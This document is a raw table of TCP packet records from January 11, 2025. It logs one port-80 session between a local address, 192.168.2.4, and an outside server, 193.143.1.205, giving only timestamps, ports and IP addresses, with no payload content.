Jan 11, 2025 02:12:42.817658901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.817706108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.817718029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.817754030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.817836046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.817850113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.817886114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.842981100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.843014002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.843067884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.884593010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.884629965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.884715080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.919383049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919406891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919416904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919445992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.919467926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.919600010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919610977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919646025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919656038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.919658899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919665098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.919712067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.937900066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.937921047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.937999964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938114882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938170910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938184023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938194990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938225985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938369036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938380957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938431025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938458920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938472986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938486099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938512087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938646078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938659906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938684940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938791037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938806057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938832998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.938970089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938982964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.938997984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939009905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939009905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939023018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939034939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939057112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939424038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939436913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939449072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939460993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939471960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939472914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939485073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939496994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939502954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939526081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939877033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939888954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939901114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939913988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939924002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939924955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939937115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939945936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939949989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.939966917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.939987898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940401077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940412998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940424919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940437078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940448046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940457106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940460920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940475941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940475941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940502882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940865993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940888882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940902948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940915108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940918922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940927982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940938950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940948009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940948963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.940972090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.940990925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.941505909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941518068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941524982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941530943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941538095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941550016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941555977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941561937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941567898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941574097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941586018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941591024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.941601038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941612959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.941612959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.941643953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.942236900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.942320108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942332983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942344904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942357063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942359924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.942368984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942380905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.942409039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.942847013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942858934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942873955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.942900896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.943023920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.943036079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.943048954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.943063021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.943109035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.943109035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.950903893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.950930119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.975172997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.975199938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.975213051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.975267887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.975291967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.975296021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.010037899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010065079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010077000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010101080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.010133982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.010246038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010260105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010324001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010335922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010348082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010351896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.010392904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.010571957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010584116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.010617971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.028587103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.028635979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.028647900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.028661013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.028688908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.028719902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.028722048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.028775930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.045387983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045406103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045413971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045468092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045474052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045480967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045488119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045658112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.045762062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045774937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045787096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.045826912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.045983076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.063651085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.063687086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.063693047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.063767910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064074993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064088106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064100981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064126015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064160109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064196110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064208984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064220905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064234018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064259052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064285040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064415932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064429045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064440966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064454079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064474106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064490080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064640999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064652920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064665079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064703941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064757109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064774990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064788103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.064805031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.064832926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065002918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065016985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065027952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065040112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065052032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065063000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065076113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065080881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065123081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065460920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065474033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065485954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065498114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065504074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065509081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065521002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065532923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065536022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065545082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065557003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065566063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065567970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065586090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.065587044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065606117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.065644979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066032887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066046000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066059113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066071033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066077948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066087961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066097975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066103935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066117048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066119909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066129923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066142082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066154003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066155910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066165924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066179037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066181898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066191912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066204071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066205978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066210032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066215992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.066306114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.066999912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067012072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067023993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067035913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067042112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067049026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067060947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067073107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067078114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067085028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067097902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067109108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067110062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067121029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067131042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067154884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067168951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067495108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067636967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067648888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067656040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067662001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067687035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067699909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067712069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067723989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067734957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067737103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067749023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067761898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067775011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.067786932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067804098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.067820072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.068219900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068233013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068245888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068258047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068270922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068272114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.068284035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068295956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.068299055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.068322897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.092082024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.100671053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100730896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100744963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100752115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.100790977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.100876093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100888968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100900888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.100933075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.100974083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.101023912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119293928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119353056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119364023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119411945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119498014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119510889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119524002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119546890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119570971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119643927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119656086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119668007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119680882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119694948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119713068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119805098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119817019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119828939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119839907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.119856119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.119904995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.135818958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.135834932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.135848045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.135883093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.135895014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.135896921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.135951042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.136023045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.136034966 CET	80	49730	193.143.1.205	192.168.2.4
